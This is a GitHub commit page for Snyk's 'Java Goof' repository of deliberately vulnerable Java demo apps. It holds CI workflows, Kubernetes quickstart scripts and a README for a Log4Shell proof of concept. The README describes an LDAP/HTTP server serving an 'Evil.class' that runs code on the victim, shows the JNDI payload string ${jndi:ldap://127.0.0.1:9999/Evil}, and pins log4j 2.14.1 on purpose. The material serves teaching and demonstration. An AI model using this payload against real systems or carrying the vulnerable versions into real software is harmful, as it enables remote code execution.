Skip to content

Commit df1c76e

Browse files
committed
first commit
0 parents  commit df1c76e

File tree

165 files changed

+18533
-0
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

165 files changed

+18533
-0
lines changed

.github/CODEOWNERS

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
* @snyk/devrel
Lines changed: 70 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,70 @@
1+
name: log4shell-goof-server Docker image build and test
2+
3+
on:
4+
push:
5+
branches:
6+
- 'main'
7+
paths:
8+
- 'log4shell-goof/log4shell-goof-server/**'
9+
- '.github/workflows/log4shell-goof-server-docker-image.yaml'
10+
pull_request:
11+
branches:
12+
- 'main'
13+
paths:
14+
- 'log4shell-goof/log4shell-goof-server/**'
15+
- '.github/workflows/log4shell-goof-server-docker-image.yaml'
16+
jobs:
17+
18+
build-log4shell-server-image:
19+
runs-on: ubuntu-latest
20+
defaults:
21+
run:
22+
working-directory: log4shell-goof/log4shell-server
23+
steps:
24+
- uses: actions/checkout@v2
25+
26+
- name: Set up Docker Buildx
27+
uses: docker/setup-buildx-action@v1
28+
29+
- name: Build
30+
uses: docker/build-push-action@v2
31+
with:
32+
load: true
33+
context: log4shell-goof/log4shell-server
34+
push: false
35+
tags: log4shell-server:latest
36+
37+
- name: Run container
38+
run: docker run -d --rm --name log4shell-server log4shell-server:latest && sleep 5
39+
40+
- name: Smoke test LDAP running in container
41+
run: docker logs log4shell-server | grep "LDAP server listening on 0.0.0.0:8000"
42+
43+
- name: Smoke test HTTP running in container
44+
run: docker logs log4shell-server | grep "HTTP server listening on 0.0.0.0:9999"
45+
46+
- name: Cleanup container
47+
run: docker kill log4shell-server
48+
49+
- name: Start minikube
50+
uses: medyagh/setup-minikube@master
51+
with:
52+
cni: calico
53+
54+
- name: Deploy to minikube
55+
run: |
56+
sed -i 's/${DOCKER_ACCOUNT}\///' k8s/deploy.yaml
57+
sed -i 's/imagePullPolicy: Always/imagePullPolicy: Never/' k8s/deploy.yaml
58+
minikube image load log4shell-server:latest
59+
kubectl apply -f k8s/deploy.yaml
60+
61+
- name: Test pods came up cleanly
62+
run: |
63+
kubectl get all --namespace=darkweb && \
64+
kubectl wait --namespace=darkweb --for=condition=ready pod --selector=app=log4shell --timeout=90s
65+
66+
- name: Dump pod description
67+
if: ${{ failure() }}
68+
run: |
69+
kubectl describe pod --namespace=darkweb --selector=app=log4shell
70+
kubectl describe deploy --namespace=darkweb --selector=app=log4shell
Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
name: todolist-goof Docker image build and test
2+
3+
on:
4+
push:
5+
branches:
6+
- 'main'
7+
paths:
8+
- 'todolist-goof/**'
9+
- '.github/workflows/todolist-goof-docker-image.yaml'
10+
pull_request:
11+
branches:
12+
- 'main'
13+
paths:
14+
- 'todolist-goof/**'
15+
- '.github/workflows/todolist-goof-docker-image.yaml'
16+
17+
jobs:
18+
build-todolist-image:
19+
runs-on: ubuntu-latest
20+
defaults:
21+
run:
22+
working-directory: todolist-goof
23+
steps:
24+
- uses: actions/checkout@v2
25+
26+
- name: Set up Docker Buildx
27+
uses: docker/setup-buildx-action@v1
28+
29+
- name: Build
30+
uses: docker/build-push-action@v2
31+
with:
32+
load: true
33+
context: todolist-goof
34+
push: false
35+
tags: java-goof:latest
36+
37+
- name: Run container
38+
run: docker run -d --rm --name java-goof -p 8080:8080 java-goof:latest
39+
40+
- name: Smoke test container
41+
run: sleep 5 && curl -s --retry 5 --retry-delay 1 --retry-max-time 30 http://localhost:8080/todolist/
42+
43+
- name: Teardown container
44+
run: docker kill java-goof
45+
46+
- name: Start minikube
47+
uses: medyagh/setup-minikube@master
48+
with:
49+
cni: calico
50+
51+
- name: Deploy to minikube
52+
run: |
53+
sed -i 's/${DOCKER_ACCOUNT}\///' k8s/java-goof.yaml
54+
sed -i 's/imagePullPolicy: Always/imagePullPolicy: Never/' k8s/java-goof.yaml
55+
minikube image load java-goof:latest
56+
kubectl apply -f k8s/java-goof.yaml
57+
58+
- name: Test pod came up cleanly
59+
run: |
60+
kubectl get all
61+
kubectl wait --for=condition=ready pod --selector=app=goof --timeout=90s
62+
63+
- name: Dump pod description
64+
if: ${{ failure() }}
65+
run: kubectl describe pod --selector=app=goof

.gitignore

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
*.iml
2+
.idea
3+
**/target/**
4+
**/.DS_Store

README-K8S.md

Lines changed: 47 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
# Kubernetes based Todolist + Log4Shell exploit
2+
To deploy Todolist on Kubernetes along with the needed ldap backend for exploiting the Log4shell
3+
vulnerability:
4+
5+
## Prerequisites
6+
1. A kubernetes cluster where you have permissions to create namespaces, deployments and services
7+
2. The `kubectl` client and credenials configuration
8+
3. Docker Desktop or docker-ce (for building and pushing images)
9+
4. A DockerHub account that you are logged in with at the command prompt (via `docker login`)
10+
11+
## Quickstart
12+
Assuming you have your kubernetes cluster up and ready, from the top level of this repo you can run `./k8s-quickstart.sh` which will do the following:
13+
1. Builds todolist-goof image and pushes it to Docker Hub. _(see below for account/tagging info)_
14+
2. Deploys the todolist to the `default` namespace in your kubernetes cluster along with a LoadBalancer type service
15+
3. Builds the log4shell-server image and pushes to Docker Hub. _(see below for account/tagging info)_
16+
4. Deploys the log4shell-server and a pair of ClusterIP type services into a new namespace named `darkweb` in your Kubernetes cluster.
17+
18+
NOTE: You will be prompted for your DockerHub account in order for the scripts to tag, push and pull the images.
19+
If you set and environmental variable named `DOCKER_ACCOUNT` to that account name, the script will pre-populate that prompt with it.
20+
```bash
21+
export DOCKER_ACCOUNT="yourdockeraccount"
22+
```
23+
## Accessing the application
24+
Once complete, run `kubectl get svc` and note the IP Address or hostname of the `goof` service.
25+
26+
You should be able to open a browser to http://{svc-ip-addr}/todolist and see the app
27+
28+
#### EKS cluster notes
29+
* In order to perform NetworkPolicy egress examples, you will need to deploy the Calico CNI plugin as EKS does not implement NetworkPolicy by default.
30+
The `eks-calico.sh` script in `todolist-goof/k8s` will deploy this for you. (that script is sym-linked to the top level here too)
31+
* You should log into the AWS console and change inbound access for the good service's ELB to only allow your home IP, otherwise you *will* have audience members trying to mess with it.
32+
33+
#### Docker Desktop Kubernetes notes
34+
* Docker Desktop automatically serves the goof service loadblancer external IP to your workstation's localhost so the app will be available at http://localhost/todolist
35+
* Docker Desktop Kubernetes CNI does not implement Network Policy so you will not be able to demonstrate any mitigation techniques that use that.
36+
37+
#### Kind (Kubernetes on Docker) notes
38+
* Kind's default CNI does not currently support Network Policy so you should deploy your own using the instructions on their website.
39+
* If running Kind on top of Docker Desktop, you will need to run a port-forward to access the app. For example, use something like this: `kubectl port-forward service/goof 8000:80` and then access it via browser at http://localhost:8000/todolist
40+
41+
## Quick cleanup
42+
Run the `/.k8s-quickstop.sh` script at the top level of this repo which will do the following:
43+
1. Deletes the todolist deployment and associated service in the `default` namespace
44+
2. Deletes the log4shell deployment and associated services in the `darkweb` namespace and deltes the namespace as well
45+
**Note:** This will not delete any additional objects you may have deployed such as NetworkPolicies.
46+
47+
It is up to you to shut down your Kubernetes cluster as appropriate.

README.md

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
## Java Goof
2+
3+
This is a collection of Java demo apps that are vulnerable in different ways.
4+
5+
It's divided into modules, each one having its own README:
6+
7+
* [Todolist Goof](todolist-goof/README.md)
8+
* [Log4Shell Goof](log4shell-goof/README.md)
9+
* [Quickstart for running both Todolist with Log4Shell in Kubernetes](README-K8S.md)

eks-calico.sh

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
todolist-goof/k8s/eks-calico.sh

k8s-quickstart.sh

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
#!/usr/bin/env bash
2+
TOP_LEVEL_MYDIR=$(dirname $0)
3+
if [[ "$1" == "" ]]; then
4+
read -e -i "${DOCKER_ACCOUNT}" -p "Please enter your DockerHub user/account name: " input
5+
name="${input:-$DOCKER_ACCOUNT}"
6+
else
7+
DOCKER_ACCOUNT=$1
8+
fi
9+
$TOP_LEVEL_MYDIR/todolist-goof/k8s/quickstart.sh $DOCKER_ACCOUNT
10+
$TOP_LEVEL_MYDIR/log4shell-goof/log4shell-server/k8s/quickstart.sh $DOCKER_ACCOUNT

k8s-quickstop.sh

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
#!/usr/bin/env bash
2+
TOP_LEVEL_MYDIR=$(dirname $0)
3+
$TOP_LEVEL_MYDIR/todolist-goof/k8s/shutdown.sh
4+
$TOP_LEVEL_MYDIR/log4shell-goof/log4shell-server/k8s/shutdown.sh

kind-init.sh

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
todolist-goof/k8s/kind-init.sh

log4shell-goof/README.md

Lines changed: 100 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,100 @@
1+
## Log4Shell Goof
2+
3+
The purpose of this project is to demonstrate the Log4Shell exploit with Log4J versions older than `2.15.0`.
4+
5+
**NOTE**: Multiple additional vulnerabilities have been disclosed with log4j. Make sure you're using the latest `2.17.x` version.
6+
7+
This repo is based on the excellent proof-of-concept published by [BrianV](https://github.com/bmvermeer/log4jexploit/).
8+
The PoC is a great starting point. This project expands on it by fleshing it out into a fully standalone demo.
9+
10+
For more information about the exploit and the mechanics of how it works,
11+
[here is a good blog post](https://snyk.io/blog/log4j-rce-log4shell-vulnerability-cve-2021-4428/).
12+
13+
### Requirements
14+
15+
You'll need one of the following Java SDKs:
16+
* 11.0.1 or earlier
17+
* 8u191 or earlier
18+
* 7u201 or earlier
19+
* 6u211 or earlier
20+
21+
Java SDKs newer than those versions don't have the same vulnerability.
22+
23+
### Building the PoC
24+
25+
In the root folder, run:
26+
27+
```
28+
mvn clean install
29+
```
30+
31+
**NOTE:** This project includes the Maven wrapper, so you don't need to have previously installed Maven.
32+
33+
### Running the PoC
34+
35+
This repo has two modules: server and client.
36+
37+
The server module runs a lean LDAP & HTTP server.
38+
39+
The LDAP server listens on port `9999` by default and will return an `LDAPResult` that includes a URL reference to a
40+
Java class that will be deserialized and executed.
41+
42+
The HTTP server listens on port `8000` and responds to any request with a byte array that is the `Evil.class`.
43+
44+
`Evil` implements `ObjectFactory` which the JNDI mechanism hooks into to execute its `getObjectInstance` method. While
45+
the method simply returns `null`, it uses `Runtime` to execute arbitrary code on the host machine. In this case, it
46+
writes to a file called: `/tmp/pwned` to prove that it _could_ execute basically anything available on the machine.
47+
48+
This PoC should run as-is on Linux or Mac.
49+
50+
Open a terminal window and run the following:
51+
52+
```
53+
cd log4shell-server
54+
mvn exec:java
55+
```
56+
57+
You should see output that looks like the following:
58+
59+
```
60+
[INFO] --- exec-maven-plugin:3.0.0:java (default-cli) @ log4shell-server ---
61+
LDAP server listening on 0.0.0.0:9999
62+
HTTP server listening on 0.0.0.0:8000
63+
```
64+
65+
In another terminal window, run the following:
66+
67+
```
68+
cd log4shell-client
69+
JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk1.8.0_111.jdk/Contents/Home \
70+
mvn exec:java
71+
```
72+
73+
**NOTE:** Referencing `JAVA_HOME` is important as the exploit only fully works with older JDK versions.
74+
For example, you can download JDK 8u111
75+
[here](https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html). If you download
76+
and install the version for Mac, the above command will work for you.
77+
78+
You should see output that looks like the following:
79+
80+
```
81+
[INFO] --- exec-maven-plugin:3.0.0:java (default-cli) @ log4shell-client ---
82+
---------- JVM Props -------------
83+
java.vm.version=25.111-b14
84+
java.vm.vendor=Oracle Corporation
85+
java.vm.name=Java HotSpot(TM) 64-Bit Server VM
86+
java.vm.specification.name=Java Virtual Machine Specification
87+
java.vm.specification.vendor=Oracle Corporation
88+
java.vm.specification.version=1.8
89+
java.vm.info=mixed mode
90+
---------------------------------
91+
20:27:49.676 [Main.main()] ERROR Main - test
92+
/tmp/pwned DOES NOT EXIST
93+
20:27:49.679 [Main.main()] ERROR Main - Output:${jndi:ldap://127.0.0.1:9999/Evil}
94+
/tmp/pwned EXISTS - yah been pwned!
95+
```
96+
97+
**NOTE**: The client app will tell you if it was successful. It does some checks, including looking for the
98+
`/tmp/pwned` file before and after the attack. You MUST delete the `/tmp/pwned` file between runs in order for the
99+
client app to work properly. The file not being there and then being present after the attack is how it knows it's
100+
been successful.
Lines changed: 48 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,48 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
3+
<modelVersion>4.0.0</modelVersion>
4+
<parent>
5+
<artifactId>log4shell-poc</artifactId>
6+
<groupId>io.snyk</groupId>
7+
<version>0.0.1-SNAPSHOT</version>
8+
</parent>
9+
10+
<artifactId>log4shell-client</artifactId>
11+
<version>0.0.1-SNAPSHOT</version>
12+
13+
<name>Java Goof :: Log4Shell Goof :: Log4Shell Client</name>
14+
<url>https://snyk.io</url>
15+
16+
<properties>
17+
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
18+
<maven.compiler.source>8</maven.compiler.source>
19+
<maven.compiler.target>8</maven.compiler.target>
20+
</properties>
21+
22+
<dependencies>
23+
<dependency>
24+
<groupId>org.apache.logging.log4j</groupId>
25+
<artifactId>log4j-core</artifactId>
26+
<version>2.14.1</version>
27+
</dependency>
28+
<dependency>
29+
<groupId>org.apache.logging.log4j</groupId>
30+
<artifactId>log4j-api</artifactId>
31+
<version>2.14.1</version>
32+
</dependency>
33+
</dependencies>
34+
35+
<build>
36+
<plugins>
37+
<plugin>
38+
<groupId>org.codehaus.mojo</groupId>
39+
<artifactId>exec-maven-plugin</artifactId>
40+
<version>3.0.0</version>
41+
<configuration>
42+
<mainClass>Main</mainClass>
43+
<cleanupDaemonThreads>false</cleanupDaemonThreads>
44+
</configuration>
45+
</plugin>
46+
</plugins>
47+
</build>
48+
</project>

0 commit comments

Comments
 (0)